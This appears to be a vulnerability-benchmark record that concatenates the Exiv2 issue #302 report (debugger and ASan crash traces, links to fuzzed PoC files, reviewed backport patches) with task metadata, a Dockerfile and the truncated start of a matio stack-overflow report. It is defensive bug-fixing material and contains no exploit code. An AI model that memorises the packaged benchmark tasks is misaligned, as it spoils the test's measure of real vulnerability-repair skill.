================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/Exiv2/exiv2/issues/302 ## Description: Issue: Exiv2/exiv2#302 Title: SIGABRT in types.cpp Exiv2::DataBuf::alloc function State: closed Created by: legend-issue Created at: 2018-05-09 13:38:53+00:00 Issue Body: ```jsx $rax : 0x0000000000000000 $rbx : 0x00007fffffffd360 → 0x0000000000000000 $rcx : 0x0000000000ec0fed → 0x6e69676522000001 $rdx : 0x00007fffffffd360 → 0x0000000000000000 $rsp : 0x00007fffffffd200 → 0x0000000000000000 $rbp : 0x00000000ffffffea $rsi : 0x00000000ffffffea $rdi : 0x0000000000000000 $rip : 0x00000000007685c7 → <Exiv2::DataBuf::alloc(long)+279> mov rdi, rbp $r8 : 0xffffffffffffe310 $r9 : 0xffffffffffffe300 $r10 : 0xffffffffffffe2f0 $r11 : 0x000000000000047a $r12 : 0x0000000000ec146b → 0xbcaea80000000000 $r13 : 0x000000000000001c $r14 : 0x0000000000000000 $r15 : 0x0000000000000000 $eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification] $es: 0x0000 $gs: 0x0000 $ds: 0x0000 $ss: 0x002b $fs: 0x0000 $cs: 0x0033 ───────────────────────────────────────────────────────────────────[ stack ]──── 0x00007fffffffd200│+0x00: 0x0000000000000000 ← $rsp 0x00007fffffffd208│+0x08: 0x00007fffffffd360 → 0x0000000000000000 0x00007fffffffd210│+0x10: 0x00000000fffffff5 0x00007fffffffd218│+0x18: 0x0000000000813738 → <Exiv2::Internal::PngChunk::zlibUncompress(unsigned+0> mov rdi, QWORD PTR [rbx] 0x00007fffffffd220│+0x20: 0x00000000ffffffea 0x00007fffffffd228│+0x28: 0xa65c0e3e1fcb3000 0x00007fffffffd230│+0x30: 0x0000000000ec0fd0 → 0x2e6d6f633a4c4d58 0x00007fffffffd238│+0x38: 0x00007fffffffd360 → 0x0000000000000000 ────────────────────────────────────────────────────────[ code:i386:x86-64 ]──── 0x7685b0 <Exiv2::DataBuf::alloc(long)+256> lea rsp, [rsp+0x98] 0x7685b8 <Exiv2::DataBuf::alloc(long)+264> mov QWORD PTR [rbx], 0x0 0x7685bf <Exiv2::DataBuf::alloc(long)+271> mov QWORD PTR [rbx+0x8], 0x0 → 0x7685c7 <Exiv2::DataBuf::alloc(long)+279> mov rdi, rbp 0x7685ca <Exiv2::DataBuf::alloc(long)+282> call 0x405ac0 <_Znam@plt> 0x7685cf <Exiv2::DataBuf::alloc(long)+287> mov QWORD PTR [rbx+0x8], rbp 0x7685d3 <Exiv2::DataBuf::alloc(long)+291> mov QWORD PTR [rbx], rax 0x7685d6 <Exiv2::DataBuf::alloc(long)+294> add rsp, 0x8 0x7685da <Exiv2::DataBuf::alloc(long)+298> pop rbx ────────────────────────────────────────────────────[ source:types.cpp+153 ]──── 148 { 149 if (size > size_) { 150 delete[] pData_; 151 pData_ = 0; 152 size_ = 0; // size=0xffffffea → 153 pData_ = new byte[size]; 154 size_ = size; 155 } 156 } 157 158 std::pair<byte*, long> DataBuf::release() ─────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "exiv2", stopped, reason: SINGLE STEP ───────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x7685c7 → Name: Exiv2::DataBuf::alloc(this=0x7fffffffd360, size=0xffffffea) [#1] 0x813738 → Name: Exiv2::Internal::PngChunk::zlibUncompress(compressedText=0xec146b "", compressedTextSize=0xfffffff5, arr=@0x7fffffffd360) [#2] 0x814330 → Name: Exiv2::Internal::PngChunk::parseTXTChunk(data=@0x7fffffffd3f0, keysize=0x1c, type=Exiv2::Internal::PngChunk::iTXt_Chunk) [#3] 0x8153fe → Name: Exiv2::Internal::PngChunk::decodeTXTChunk(pImage=0xec0a90, data=@0x7fffffffd3f0, type=Exiv2::Internal::PngChunk::iTXt_Chunk) [#4] 0x804342 → Name: Exiv2::PngImage::readMetadata(this=0xec0a90) [#5] 0x480362 → Name: Action::Print::printSummary(this=0xec1c10) [#6] 0x486d68 → Name: Action::Print::run(this=0xec1c10, path="id:000004,sig:06,src:000036,op:havoc,rep:128") [#7] 0x40772d → Name: main(argc=0x2, argv=0x7fffffffdf38) [#8] 0x7fffbe826830 → Name: __libc_start_main(main=0x4073d0 <main(int, char* const*)>, argc=0x2, argv=0x7fffffffdf38, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdf28) [#9] 0x4277c9 → Name: _start() ──────────────────────────────────────────────────────────────────────────────── gef➤ terminate called after throwing an instance of 'std::bad_alloc' what(): std::bad_alloc Program received signal SIGABRT, Aborted. ``` I find this when I set ‘ulimit -v 1048576(1G)’. The command is "exiv2 -et [poc]" https://github.com/legend-issue/pocs/blob/master/exiv2/id:000004%2Csig:06%2Csrc:000036%2Cop:havoc%2Crep:128 Comments: Comment by kbabioch on 2018-05-11 14:33:37+00:00: The reproducer is not accessible, could you make it downloadable please? --- Comment by legend-issue on 2018-05-14 00:19:20+00:00: I think it's OK now! --- Comment by fgeek on 2018-05-15 01:30:43+00:00: Reproducer SHA1: e43c1eb7134d2fc4c5548253477fd09d6b2fac79 In bb2019149ae2b6f226e8d6be5f5828898b455a03 with ASan: ``` ================================================================= ==11430==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61a00001f710 at pc 0x7f1599a44063 bp 0x7fff2e000d70 sp 0x7fff2e000520 READ of size 1137 at 0x61a00001f710 thread T0 #0 0x7f1599a44062 (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x3c062) #1 0x7f1598e71aec in std::char_traits<char>::length(char const*) /usr/include/c++/6/bits/char_traits.h:267 #2 0x7f1598e71aec in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&) /usr/include/c++/6/bits/basic_string.h:456 #3 0x7f1598e71aec in Exiv2::Internal::PngChunk::parseTXTChunk(Exiv2::DataBuf const&, int, Exiv2::Internal::PngChunk::TxtChunkType) /home/hsalo/src/exiv2/src/pngchunk_int.cpp:175 #4 0x7f1598e72b54 in Exiv2::Internal::PngChunk::decodeTXTChunk(Exiv2::Image*, Exiv2::DataBuf const&, Exiv2::Internal::PngChunk::TxtChunkType) /home/hsalo/src/exiv2/src/pngchunk_int.cpp:81 #5 0x7f1598e5fdc3 in Exiv2::PngImage::readMetadata() /home/hsalo/src/exiv2/src/pngimage.cpp:461 #6 0x562ef0f1fc07 in Action::Extract::writeThumbnail() const /home/hsalo/src/exiv2/src/actions.cpp:1119 #7 0x562ef0f3c8df in Action::Extract::run(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/hsalo/src/exiv2/src/actions.cpp:1077 #8 0x562ef0ec12b8 in main /home/hsalo/src/exiv2/src/exiv2.cpp:166 #9 0x7f1597afc2e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0) #10 0x562ef0ec20d9 in _start (/home/hsalo/builds/exiv2/bb2019149ae2b6f226e8d6be5f5828898b455a03/bin/exiv2+0x130d9) 0x61a00001f710 is located 0 bytes to the right of 1168-byte region [0x61a00001f280,0x61a00001f710) allocated by thread T0 here: #0 0x7f1599acad70 in operator new[](unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc2d70) #1 0x7f1598e5f3d7 in Exiv2::DataBuf::DataBuf(long) ../include/exiv2/types.hpp:206 #2 0x7f1598e5f3d7 in Exiv2::PngImage::readMetadata() /home/hsalo/src/exiv2/src/pngimage.cpp:420 #3 0x562ef0f1fc07 in Action::Extract::writeThumbnail() const /home/hsalo/src/exiv2/src/actions.cpp:1119 #4 0x562ef0f3c8df in Action::Extract::run(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/hsalo/src/exiv2/src/actions.cpp:1077 #5 0x562ef0ec12b8 in main /home/hsalo/src/exiv2/src/exiv2.cpp:166 #6 0x7f1597afc2e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0) SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x3c062) Shadow bytes around the buggy address: 0x0c347fffbe90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c347fffbea0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c347fffbeb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c347fffbec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c347fffbed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c347fffbee0: 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c347fffbef0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c347fffbf00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c347fffbf10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c347fffbf20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c347fffbf30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==11430==ABORTING ``` Minimized sample (SHA1: 878078e9db9a8bdb875297d1d1131037dc996e8b) [exiv2-issue-302.png.zip](https://github.com/Exiv2/exiv2/files/2003126/exiv2-issue-302.png.zip) with afl-tmin: ``` File size reduced by : 98.72% (to 1125 bytes) Characters simplified : 7757.60% Number of execs done : 828 Fruitless execs : path=637 crash=0 hang=0 ``` --- Comment by piponazo on 2018-05-23 09:01:01+00:00: This issue was also solved by #316 --- Comment by rcsanchez97 on 2018-06-26 02:52:33+00:00: @piponazo I am trying to backport the fix for CVE-2018-10958/CVE-2018-10999 to older versions of exiv2 in Debian (0.25, 0.24, and 0.23). I have prepared two patches based on commits 2fb00c8 and 3ad0050. In particular, I tried to avoid introducing the new enforce mechanism and instead tried to accomplish the same effect with if statements. I would appreciate it if you could review my work and provide any feedback on any adjustments that I might need to make. Patch 1: ``` diff --- exiv2.git.orig/src/pngchunk.cpp +++ exiv2.git/src/pngchunk.cpp @@ -60,6 +60,7 @@ #include <iostream> #include <cassert> #include <cstdio> +#include <algorithm> /* @@ -166,6 +167,9 @@ } else if(type == iTXt_Chunk) { + const int nullSeparators = std::count(&data.pData_[keysize+3], &data.pData_[data.size_-1], '\0'); + if (nullSeparators < 2) throw Error(58); + // Extract a deflate compressed or uncompressed UTF-8 text chunk // we get the compression flag after the key --- exiv2.git.orig/src/error.cpp +++ exiv2.git/src/error.cpp @@ -105,7 +105,8 @@ { 49, N_("TIFF directory %1 has too many entries") }, // %1=TIFF directory name { 50, N_("Multiple TIFF array element tags %1 in one directory") }, // %1=tag number { 51, N_("TIFF array element tag %1 has wrong type") }, // %1=tag number - { 52, N_("%1 has invalid XMP value type `%2'") } // %1=key, %2=value type + { 52, N_("%1 has invalid XMP value type `%2'") }, // %1=key, %2=value type + { 58, N_("corrupted image metadata") } }; } ``` Patch 2: ``` diff --- exiv2.git.orig/src/pngchunk.cpp +++ exiv2.git/src/pngchunk.cpp @@ -168,14 +168,24 @@ else if(type == iTXt_Chunk) { const int nullSeparators = std::count(&data.pData_[keysize+3], &data.pData_[data.size_-1], '\0'); - if (nullSeparators < 2) throw Error(58); + if (nullSeparators < 2) throw Error(58, "iTXt chunk: not enough null separators"); // Extract a deflate compressed or uncompressed UTF-8 text chunk // we get the compression flag after the key - const byte* compressionFlag = data.pData_ + keysize + 1; + const byte compressionFlag = data.pData_[keysize + 1]; // we get the compression method after the compression flag - const byte* compressionMethod = data.pData_ + keysize + 2; + const byte compressionMethod = data.pData_[keysize + 2]; + + if (compressionFlag != 0x00 && compressionFlag != 0x01) + { + throw Error(58, "iTXt chunk: not valid value in compressionFlag"); + } + if (compressionMethod != 0x00) + { + throw Error(58, "iTXt chunk: not valid value in compressionMethod"); + } + // language description string after the compression technique spec std::string languageText((const char*)(data.pData_ + keysize + 3)); unsigned int languageTextSize = static_cast<unsigned int>(languageText.size()); @@ -183,7 +193,7 @@ std::string translatedKeyText((const char*)(data.pData_ + keysize + 3 + languageTextSize +1)); unsigned int translatedKeyTextSize = static_cast<unsigned int>(translatedKeyText.size()); - if ( compressionFlag[0] == 0x00 ) + if ( compressionFlag == 0x00 ) { // then it's an uncompressed iTXt chunk #ifdef DEBUG @@ -197,7 +207,7 @@ arr.alloc(textsize); arr = DataBuf(text, textsize); } - else if ( compressionFlag[0] == 0x01 && compressionMethod[0] == 0x00 ) + else if ( compressionFlag == 0x01 && compressionMethod == 0x00 ) { // then it's a zlib compressed iTXt chunk #ifdef DEBUG ``` --- Comment by D4N on 2018-07-28 23:18:31+00:00: @rcsanchez97 Sorry for not getting back to you earlier, but your first patch has a small issue, instead of: ``` + const int nullSeparators = std::count(&data.pData_[keysize+3], &data.pData_[data.size_-1], '\0'); ``` it should be: ``` + const int nullSeparators = std::count(&data.pData_[keysize+3], &data.pData_[data.size_], '\0'); ``` (the `-1` was wrong, see the discussion of the associated pull request). The rest looks good to me. You can drop the strings from the throws in the second patch where you throw an error 58, as the string will be ignored in the exception message anyway. However, please test that your patches fix the issue by running exiv2 with asan. --- Comment by piponazo on 2018-07-29 19:53:18+00:00: Hi @rcsanchez97 . I am also sorry for not replying before. I double checked the changes and the only issue I see is what @D4N pointed out already. Attachments: https://github.com/Exiv2/exiv2/files/2003126/exiv2-issue-302.png.zip Commit References: 878078e9db9a8bdb875297d1d1131037dc996e8b bb2019149ae2b6f226e8d6be5f5828898b455a03 e43c1eb7134d2fc4c5548253477fd09d6b2fac79
[]
[ { "sha": "e43c1eb7134d2fc4c5548253477fd09d6b2fac79", "url": "https://github.com/exiv2/exiv2/commit/e43c1eb7134d2fc4c5548253477fd09d6b2fac79" }, { "sha": "bb2019149ae2b6f226e8d6be5f5828898b455a03", "url": "https://github.com/exiv2/exiv2/commit/bb2019149ae2b6f226e8d6be5f5828898b455a03" }, { "sha": "878078e9db9a8bdb875297d1d1131037dc996e8b", "url": "https://github.com/exiv2/exiv2/commit/878078e9db9a8bdb875297d1d1131037dc996e8b" }, { "sha": "838dee762254bb6258f371aec9bc269edf1081ae", "url": "https://github.com/Exiv2/exiv2/commit/838dee762254bb6258f371aec9bc269edf1081ae" }, { "sha": "3af0d1a6b2c12b7f62a293d19bdf235db75d6b07", "url": "https://github.com/Exiv2/exiv2/commit/3af0d1a6b2c12b7f62a293d19bdf235db75d6b07" }, { "sha": "d01eb9905441d773c22c1b2473967e6309573252", "url": "https://github.com/Exiv2/exiv2/commit/d01eb9905441d773c22c1b2473967e6309573252" }, { "sha": "6c1ba331b92c0fc07c7e6e5736cc62f1200037aa", "url": "https://github.com/Exiv2/exiv2/commit/6c1ba331b92c0fc07c7e6e5736cc62f1200037aa" }, { "sha": "8a586c74bbe3fbca64e86e42a42282c73f427607", "url": "https://github.com/Exiv2/exiv2/commit/8a586c74bbe3fbca64e86e42a42282c73f427607" }, { "sha": "75940da0a61a8821a0d42a2c0358b9036b6c1a45", "url": "https://github.com/Exiv2/exiv2/commit/75940da0a61a8821a0d42a2c0358b9036b6c1a45" }, { "sha": "c037d7377bc7bd63acc3f240101ff44002d19027", "url": "https://github.com/Exiv2/exiv2/commit/c037d7377bc7bd63acc3f240101ff44002d19027" }, { "sha": "7f5b0778fa301b68c1c88e3820ec3afbd09dd0a5", "url": "https://github.com/Exiv2/exiv2/commit/7f5b0778fa301b68c1c88e3820ec3afbd09dd0a5" }, { "sha": "1e07c98dfcbd8ac10ee02088f08235f5e1700148", "url": "https://github.com/Exiv2/exiv2/commit/1e07c98dfcbd8ac10ee02088f08235f5e1700148" }, { "sha": "c90991cbdc9c170171965ea0e4bf697c22b3f1f0", "url": "https://github.com/Exiv2/exiv2/commit/c90991cbdc9c170171965ea0e4bf697c22b3f1f0" }, { "sha": "751312f9aaa7b82b9e8f04326f10fc486e2c8446", "url": "https://github.com/Exiv2/exiv2/commit/751312f9aaa7b82b9e8f04326f10fc486e2c8446" }, { "sha": "79d814c722a8f03931cea2b5447a7a11fe26f2c3", "url": "https://github.com/Exiv2/exiv2/commit/79d814c722a8f03931cea2b5447a7a11fe26f2c3" }, { "sha": "1f1715c086d8dcdf5165b19164af9aee7aa12e98", "url": "https://github.com/Exiv2/exiv2/commit/1f1715c086d8dcdf5165b19164af9aee7aa12e98" }, { "sha": "6ede8aa1975177705450abb816163f0b8d33a597", "url": "https://github.com/D4N/exiv2/commit/6ede8aa1975177705450abb816163f0b8d33a597" }, { "sha": "fd3711f91b842a9f4ed6e074e97888eb75ed0aa3", "url": "https://github.com/Exiv2/exiv2/commit/fd3711f91b842a9f4ed6e074e97888eb75ed0aa3" }, { "sha": "da67c16f3d8f8431ae5c732126499f74ccca6a81", "url": "https://github.com/Exiv2/exiv2/commit/da67c16f3d8f8431ae5c732126499f74ccca6a81" }, { "sha": "d4e4288d839d0d9546a05986771f8738c382060c", "url": "https://github.com/Exiv2/exiv2/commit/d4e4288d839d0d9546a05986771f8738c382060c" }, { "sha": "c2c9fab580f8d6ea237718ad63921cde1d8980f7", "url": "https://github.com/Exiv2/exiv2/commit/c2c9fab580f8d6ea237718ad63921cde1d8980f7" }, { "sha": "c9aed4c0b3e9e33f4a771e416dca3917b3e2db6d", "url": "https://github.com/D4N/exiv2/commit/c9aed4c0b3e9e33f4a771e416dca3917b3e2db6d" }, { "sha": "25bdf6e33a1aff75962c2c3460bf6e5a1d81ed0d", "url": "https://github.com/D4N/exiv2/commit/25bdf6e33a1aff75962c2c3460bf6e5a1d81ed0d" }, { "sha": "ff18fec24b119579df26fd2ebb8bb012cde102ce", "url": "https://github.com/Exiv2/exiv2/commit/ff18fec24b119579df26fd2ebb8bb012cde102ce" }, { "sha": "c884a3b4bf538d872b6cc64590bd5aec90f85ad3", "url": "https://github.com/Exiv2/exiv2/commit/c884a3b4bf538d872b6cc64590bd5aec90f85ad3" }, { "sha": "49bfe84b4b7277cc425572fb68db23c8820181c1", "url": "https://github.com/D4N/exiv2/commit/49bfe84b4b7277cc425572fb68db23c8820181c1" }, { "sha": "f522cbf46021f3785d741cd3a048627b7e142478", "url": "https://github.com/D4N/exiv2/commit/f522cbf46021f3785d741cd3a048627b7e142478" }, { "sha": "81b6d36c90ed36a1c878171f0794f632f2ee5a78", "url": "https://github.com/Exiv2/exiv2/commit/81b6d36c90ed36a1c878171f0794f632f2ee5a78" }, { "sha": "505e2417e408abaf8f9fe9e5076f567a65cc59c3", "url": "https://github.com/Exiv2/exiv2/commit/505e2417e408abaf8f9fe9e5076f567a65cc59c3" }, { "sha": "ce516eddefbebd31749b361a540832f41f9fe5d0", "url": "https://github.com/Exiv2/exiv2/commit/ce516eddefbebd31749b361a540832f41f9fe5d0" }, { "sha": "f751fd82d37dbf9a90d13a5cd8f69273a361222c", "url": "https://github.com/D4N/exiv2/commit/f751fd82d37dbf9a90d13a5cd8f69273a361222c" }, { "sha": "37f30b007829c6a3ea668ca8b53d7c31f3fe4591", "url": "https://github.com/D4N/exiv2/commit/37f30b007829c6a3ea668ca8b53d7c31f3fe4591" }, { "sha": "ab7ae75b03de247e4c7d820676d24efad37d86ae", "url": "https://github.com/D4N/exiv2/commit/ab7ae75b03de247e4c7d820676d24efad37d86ae" }, { "sha": "35b3e596edacd2437c2c5d3dd2b5c9502626163d", "url": "https://github.com/Exiv2/exiv2/commit/35b3e596edacd2437c2c5d3dd2b5c9502626163d" }, { "sha": "a93cb0436148363bd1ef7797a690644fea3c0dfe", "url": "https://github.com/Exiv2/exiv2/commit/a93cb0436148363bd1ef7797a690644fea3c0dfe" }, { "sha": "22527f0927b687804f83f1cc1ec36e2f042c9f83", "url": "https://github.com/Exiv2/exiv2/commit/22527f0927b687804f83f1cc1ec36e2f042c9f83" }, { "sha": "b9b0fd1899db2e571548d04944f22a389919a8ff", "url": "https://github.com/a17r/exiv2/commit/b9b0fd1899db2e571548d04944f22a389919a8ff" }, { "sha": "138c7fa13fcc3e57e61ec32f4d3321f40a452d65", "url": "https://github.com/a17r/exiv2/commit/138c7fa13fcc3e57e61ec32f4d3321f40a452d65" }, { "sha": "1c4b8b3ce636ef204c1b01add3a1631e4bdf44a2", "url": "https://github.com/Exiv2/exiv2/commit/1c4b8b3ce636ef204c1b01add3a1631e4bdf44a2" }, { "sha": "51ff667ce125afdbac96fd1795a91dd1e791f746", "url": "https://github.com/Exiv2/exiv2/commit/51ff667ce125afdbac96fd1795a91dd1e791f746" }, { "sha": "729a6960128d0e63633d361ff8bac7dbd6a1d664", "url": "https://github.com/Exiv2/exiv2/commit/729a6960128d0e63633d361ff8bac7dbd6a1d664" }, { "sha": "7c6f59619616a01e242401cf4c8e06428539a035", "url": "https://github.com/Exiv2/exiv2/commit/7c6f59619616a01e242401cf4c8e06428539a035" }, { "sha": "f7fe07a3245b2200901a463cfac138b09c6162c1", "url": "https://github.com/Exiv2/exiv2/commit/f7fe07a3245b2200901a463cfac138b09c6162c1" }, { "sha": "06aa7ab69d0c4f3d14644bd84fc9d1346154430d", "url": "https://github.com/Exiv2/exiv2/commit/06aa7ab69d0c4f3d14644bd84fc9d1346154430d" }, { "sha": "583e3f0b107780664cf9331f9805aa6c173e4032", "url": "https://github.com/Exiv2/exiv2/commit/583e3f0b107780664cf9331f9805aa6c173e4032" }, { "sha": "f0c2d2c3f79c152512612ffa85fcb2451de9baf1", "url": "https://github.com/Exiv2/exiv2/commit/f0c2d2c3f79c152512612ffa85fcb2451de9baf1" }, { "sha": "7c1c3c2050f854c27ed553a312d0e1747ea78fd0", "url": "https://github.com/Exiv2/exiv2/commit/7c1c3c2050f854c27ed553a312d0e1747ea78fd0" }, { "sha": "eb191e9d60c170335266699292d360bb2fced686", "url": "https://github.com/Exiv2/exiv2/commit/eb191e9d60c170335266699292d360bb2fced686" }, { "sha": "74cb5bab132ed76adf15df172c5e8b58cddaa96c", "url": "https://github.com/Exiv2/exiv2/commit/74cb5bab132ed76adf15df172c5e8b58cddaa96c" }, { "sha": "6e3855aed7ba8bb4731fc4087ca7f9078b2f3d97", "url": "https://github.com/Exiv2/exiv2/commit/6e3855aed7ba8bb4731fc4087ca7f9078b2f3d97" }, { "sha": "8a8f60a4e7089fe7bb597770a2daab24a3941d3e", "url": "https://github.com/Exiv2/exiv2/commit/8a8f60a4e7089fe7bb597770a2daab24a3941d3e" }, { "sha": "daed0a758b62fbb40684596917f620d8073bd2a6", "url": "https://github.com/D4N/exiv2/commit/daed0a758b62fbb40684596917f620d8073bd2a6" }, { "sha": "2b3e3f878b33ea0081de9545c4dcb15834197465", "url": "https://github.com/Exiv2/exiv2/commit/2b3e3f878b33ea0081de9545c4dcb15834197465" }, { "sha": "c2d1614e7c1b515d7c08861d43db73ad3d0657ab", "url": "https://github.com/Exiv2/exiv2/commit/c2d1614e7c1b515d7c08861d43db73ad3d0657ab" }, { "sha": "00f32316b2aa9664194fbc4fae11ee54808ebcf6", "url": "https://github.com/Exiv2/exiv2/commit/00f32316b2aa9664194fbc4fae11ee54808ebcf6" }, { "sha": "0f832ace7216771624cceaa358c28e7feb02bd73", "url": "https://github.com/D4N/exiv2/commit/0f832ace7216771624cceaa358c28e7feb02bd73" }, { "sha": "c797c2a765b3f22d4c6eeeb26ae7e4d32d7bfc9c", "url": "https://github.com/D4N/exiv2/commit/c797c2a765b3f22d4c6eeeb26ae7e4d32d7bfc9c" }, { "sha": "3214aaeec98e9a7809ae7ae4af7b27cd3d954baa", "url": "https://github.com/D4N/exiv2/commit/3214aaeec98e9a7809ae7ae4af7b27cd3d954baa" }, { "sha": "fcb42570519f8cf924b0302b09062a60aa565fbe", "url": "https://github.com/Exiv2/exiv2/commit/fcb42570519f8cf924b0302b09062a60aa565fbe" }, { "sha": "ce4f575e106697c0e513091e95a7cd12ed6a488b", "url": "https://github.com/a17r/exiv2/commit/ce4f575e106697c0e513091e95a7cd12ed6a488b" }, { "sha": "207611b0883b74873bc2f649403d41df818e0a58", "url": "https://github.com/a17r/exiv2/commit/207611b0883b74873bc2f649403d41df818e0a58" }, { "sha": "72de0f96f35d05ba68b28f4fa82f51a1df2778ca", "url": "https://github.com/Exiv2/exiv2/commit/72de0f96f35d05ba68b28f4fa82f51a1df2778ca" }, { "sha": "109d5df7abd329f141b500c92a00178d35a6bef3", "url": "https://github.com/Exiv2/exiv2/commit/109d5df7abd329f141b500c92a00178d35a6bef3" }, { "sha": "bff3311e31585392762306410b30903fbebb439b", "url": "https://github.com/Exiv2/exiv2/commit/bff3311e31585392762306410b30903fbebb439b" }, { "sha": "df0479ab55d4c461378ed7d9f092c6b16e35de37", "url": "https://github.com/Exiv2/exiv2/commit/df0479ab55d4c461378ed7d9f092c6b16e35de37" }, { "sha": "97d7a04ea86d86b82e028b63bbe8aacef7b63a4f", "url": "https://github.com/Exiv2/exiv2/commit/97d7a04ea86d86b82e028b63bbe8aacef7b63a4f" }, { "sha": "c415e7f50970cf34c0848d26fb3a708ab2c7c0bc", "url": "https://github.com/Exiv2/exiv2/commit/c415e7f50970cf34c0848d26fb3a708ab2c7c0bc" }, { "sha": "aa6374b202bc5b2fbf67c3dded844d994d27246d", "url": "https://github.com/Exiv2/exiv2/commit/aa6374b202bc5b2fbf67c3dded844d994d27246d" }, { "sha": "93e603e031ea56fad5f417552972cb64a5e3927d", "url": "https://github.com/Exiv2/exiv2/commit/93e603e031ea56fad5f417552972cb64a5e3927d" }, { "sha": "6be5278dd2d1754d72f2554e672fefab998cffe6", "url": "https://github.com/Exiv2/exiv2/commit/6be5278dd2d1754d72f2554e672fefab998cffe6" }, { "sha": "35c3e3195802342f2e94ba801427c27ba0ba6e5b", "url": "https://github.com/Exiv2/exiv2/commit/35c3e3195802342f2e94ba801427c27ba0ba6e5b" }, { "sha": "87e5ee6503f084b4bd9c8e1b1311a76655c2685e", "url": "https://github.com/Exiv2/exiv2/commit/87e5ee6503f084b4bd9c8e1b1311a76655c2685e" }, { "sha": "8a1e949bff482f74599f60b8ab518442036b1834", "url": "https://github.com/Exiv2/exiv2/commit/8a1e949bff482f74599f60b8ab518442036b1834" }, { "sha": "d9294ebe3807fec19e84deb7af68862a5551d56d", "url": "https://github.com/Exiv2/exiv2/commit/d9294ebe3807fec19e84deb7af68862a5551d56d" }, { "sha": "74cb5bab", "url": "https://github.com/Exiv2/exiv2/commit/74cb5bab" }, { "sha": "72b75ddfe42fa733d9afca740eb1286f7881ad00", "url": "https://github.com/Exiv2/exiv2/commit/72b75ddfe42fa733d9afca740eb1286f7881ad00" } ]
matio.cve-2019-20018
tbeu/matio
64f793668e09216029447990702c145403d14375
2019-07-18T13:14:38
matio
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool RUN git clone https://github.com/tbeu/matio matio RUN git -C matio checkout 64f793668e09216029447990702c145403d14375 WORKDIR $SRC/matio COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./autogen.sh ./configure make -j$(nproc) make install -j$(nproc)
/src/matio
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/tbeu/matio/issues/129 ## Description: Issue: tbeu/matio#129 Title: There is a stack-based buffer overflow in the ReadNextCell function of mat5.c(at 1001) State: closed Created by: gutiniao Created at: 2019-11-07 03:27:18+00:00 Issue Body: A crafted input will lead to crash in mat5.c at matio 1.5.17. Triggered by ./matdump POC Poc [003-stackoverflow-ReadNextCell-mat51001](https://github.com/gutiniao/afltest/blob/master/003-stackoverflow-ReadNextCell-mat51001) The ASAN information is as follows: ``` ./matdump 003-stackoverflow-ReadNextCell-mat51001 InflateRankDims: inflate returned data error ================================================================= ==41935==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffdd5e70bb0 at pc 0x7f134197a587 bp 0x7ffdd5e70a20 sp 0x7ffdd5e70a10 READ of size 4 at 0x7ffdd5e70bb0 thread T0 #0 0x7f134197a586 in ReadNextCell /home/matio_asan/src/mat5.c:1001 #1 0x7f1341a38e78 in Mat_VarReadNextInfo5 /home/matio_asan/src/mat5.c:4961 #2 0x7f1341a4f46b in Mat_VarReadNextInfo /home/matio_asan/src/mat.c:2342 #3 0x408126 in main /home/matio_asan/tools/matdump.c:944 #4 0x7f134122a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #5 0x401b58 in _start (/usr/local/matio_asan/bin/matdump+0x401b58) Address 0x7ffdd5e70bb0 is located in stack of thread T0 at offset 288 in frame #0 0x7f13419793b9 in ReadNextCell /home/matio_asan/src/mat5.c:892 This frame has 4 object(s): [32, 40) 'nelems' [96, 104) 'dims' [160, 184) 'buf' [224, 288) 'uncomp_buf' <== Memory access at offset 288 overflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow /home/matio_asan/src/mat5.c:1001 ReadNextCell Shadow bytes around the buggy address: 0x10003abc6120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10003abc6130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10003abc6140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10003abc6150: 00 00 f1 f1 f1 f1 00 f4 f4 f4 f2 f2 f2 f2 00 f4 0x10003abc6160: f4 f4 f2 